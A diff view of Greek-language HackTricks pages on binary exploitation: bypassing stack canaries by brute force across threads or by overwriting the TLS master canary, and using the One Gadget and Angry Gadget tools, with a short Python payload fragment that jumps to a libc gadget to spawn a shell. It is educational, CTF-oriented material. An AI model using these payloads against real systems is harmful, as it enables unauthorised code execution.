||||||
|
|
||||||
Τα νήματα του ίδιου διεργασίας θα **μοιραστούν το ίδιο διακριτικό canary**, επομένως θα είναι δυνατό να γίνει **brute-force** ενός canary αν το δυαδικό αρχείο δημιουργεί ένα νέο νήμα κάθε φορά που συμβαίνει μια επίθεση.
|
Τα νήματα της ίδιας διεργασίας θα **μοιράζονται το ίδιο διακριτικό canary**, επομένως θα είναι δυνατό να **δοκιμαστεί βίαια** ένα canary αν το δυαδικό αρχείο δημιουργεί ένα νέο νήμα κάθε φορά που συμβαίνει μια επίθεση. 
|
||||||
|
|
||||||
Επιπλέον, ένα **υπερχείλιση buffer σε μια συνάρτηση με νήματα** που προστατεύεται με canary μπορεί να χρησιμοποιηθεί για να **τροποποιήσει τον κύριο canary του νήματος**. Ως αποτέλεσμα, η αντιμετώπιση είναι άχρηστη επειδή ο έλεγχος χρησιμοποιείται με δύο canaries που είναι ίδιοι (αν και τροποποιημένοι).\
|
Επιπλέον, μια **υπερχείλιση buffer σε μια συνάρτηση με νήματα** που προστατεύεται με canary θα μπορούσε να χρησιμοποιηθεί για να **τροποποιήσει τον κύριο canary που αποθηκεύεται στο TLS**. Αυτό συμβαίνει επειδή είναι πιθανό να φτάσει στη θέση μνήμης όπου αποθηκεύεται το TLS (και, συνεπώς, το canary) μέσω μιας **υπερχείλισης buffer στη στοίβα** ενός νήματος.\
|
||||||
|
Ως αποτέλεσμα, η αντιμετώπιση είναι άχρηστη επειδή ο έλεγχος χρησιμοποιείται με δύο canaries που είναι τα ίδια (αν και τροποποιημένα).\
|
||||||
Αυτή η επίθεση πραγματοποιείται στο writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
Αυτή η επίθεση πραγματοποιείται στο writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||||
|
|
||||||
|
Ελέγξτε επίσης την παρουσίαση του [https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015) η οποία αναφέρει ότι συνήθως το **TLS** αποθηκεύεται από το **`mmap`** και όταν δημιουργείται μια **στοίβα** ενός **νήματος** δημιουργείται επίσης από το `mmap` σύμφωνα με αυτό, το οποίο μπορεί να επιτρέψει την υπερχείλιση όπως φαίνεται στο προηγούμενο writeup.
|
||||||
|
|
||||||
## Άλλα παραδείγματα & αναφορές
|
## Άλλα παραδείγματα & αναφορές
|
||||||
|
|
||||||
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
|
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
|
||||||
* 64 bits, χωρίς PIE, nx, BF canary, εγγραφή σε κάποια μνήμη ενός ROP για να καλέσει το `execve` και να μεταβεί εκεί.
|
* 64 bits, no PIE, nx, BF canary, εγγραφή σε κάποια μνήμη ενός ROP για να καλέσει το `execve` και να μεταβεί εκεί.
|
||||||
|
|
|
@ -2,37 +2,7 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Άλλοι τρόποι υποστήριξης του HackTricks:
|
|
||||||
|
|
||||||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
||||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
|
|
||||||
|
|
||||||
</details>
|
|
||||||
|
|
||||||
## Βασικές Πληροφορίες
|
|
||||||
|
|
||||||
[**One Gadget**](https://github.com/david942j/one\_gadget) επιτρέπει την απόκτηση ενός κέλυφους αντί για τη χρήση της **system** και του **"/bin/sh". Το One Gadget** θα βρει μέσα στη βιβλιοθήκη libc κάποιον τρόπο για να αποκτήσετε ένα κέλυφος (`execve("/bin/sh")`) χρησιμοποιώντας μόνο ένα **διεύθυνση**.\
|
|
||||||
Ωστόσο, συνήθως υπάρχουν κάποιοι περιορισμοί, οι πιο συνηθισμένοι και εύκολοι να αποφευχθούν είναι όπως `[rsp+0x30] == NULL`. Καθώς ελέγχετε τις τιμές μέσα στο **RSP**, απλά πρέπει να στείλετε περισσότερες τιμές NULL ώστε ο περιορισμός να αποφευχθεί.
|
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (751).png>)
|
|
||||||
```python
|
|
||||||
ONE_GADGET = libc.address + 0x4526a
|
|
||||||
rop2 = base + p64(ONE_GADGET) + "\x00"*100
|
|
||||||
```
|
|
||||||
Για να βρείτε τη διεύθυνση που υποδεικνύει το One Gadget, πρέπει **να προσθέσετε τη βασική διεύθυνση όπου φορτώνεται η `libc`**.
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
|
||||||
Το One Gadget είναι μια **μεγάλη βοήθεια για τεχνικές Arbitrary Write 2 Exec** και μπορεί να **απλοποιήσει τις ROP αλυσίδες** καθώς χρειάζεται μόνο να καλέσετε μια διεύθυνση (και να εκπληρώσετε τις απαιτήσεις).
|
|
||||||
{% endhint %}
|
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
Άλλοι τρόποι υποστήριξης του HackTricks:
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
|
@ -40,6 +10,43 @@ rop2 = base + p64(ONE_GADGET) + "\x00"*100
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Βασικές Πληροφορίες
|
||||||
|
|
||||||
|
[**One Gadget**](https://github.com/david942j/one\_gadget) επιτρέπει την απόκτηση ενός κέλυφους αντί για τη χρήση του **system** και του **"/bin/sh". Το One Gadget** θα βρει μέσα στη βιβλιοθήκη libc κάποιον τρόπο για να αποκτήσετε ένα κέλυφος (`execve("/bin/sh")`) χρησιμοποιώντας μόνο ένα **διεύθυνση**.\
|
||||||
|
Ωστόσο, συνήθως υπάρχουν κάποιοι περιορισμοί, οι πιο συνηθισμένοι και εύκολοι να αποφευχθούν είναι όπως `[rsp+0x30] == NULL`. Καθώς ελέγχετε τις τιμές μέσα στο **RSP**, απλά πρέπει να στείλετε κάποιες επιπλέον τιμές NULL ώστε να αποφευχθεί ο περιορισμός.
|
||||||
|
```python
|
||||||
|
ONE_GADGET = libc.address + 0x4526a
|
||||||
|
rop2 = base + p64(ONE_GADGET) + "\x00"*100
|
||||||
|
```
|
||||||
|
Για να βρείτε τη διεύθυνση που υποδεικνύει το One Gadget, πρέπει **να προσθέσετε τη βασική διεύθυνση όπου φορτώνεται η `libc`**.
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Το One Gadget είναι μια **μεγάλη βοήθεια για τεχνικές Arbitrary Write 2 Exec** και μπορεί **να απλοποιήσει τις ROP αλυσίδες** καθώς χρειάζεται μόνο να καλέσετε μια διεύθυνση (και να εκπληρώσετε τις απαιτήσεις).
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
## Angry Gadget
|
||||||
|
|
||||||
|
Από το [**αποθετήριο github**](https://github.com/ChrisTheCoolHut/angry\_gadget): Εμπνευσμένο από το [OneGadget](https://github.com/david942j/one\_gadget) αυτό το εργαλείο είναι γραμμένο σε python και χρησιμοποιεί το [angr](https://github.com/angr/angr) για να ελέγξει τους περιορισμούς για gadgets που εκτελούν `execve('/bin/sh', NULL, NULL)`\
|
||||||
|
Αν έχετε εξαντλήσει τα gadgets που μπορείτε να δοκιμάσετε από το OneGadget, το Angry Gadget προσφέρει πολλά περισσότερα με πιο περίπλοκους περιορισμούς για δοκιμή!
|
||||||
|
```bash
|
||||||
|
pip install angry_gadget
|
||||||
|
|
||||||
|
angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so
|
||||||
|
```
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
|
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
Loading…
Reference in a new issue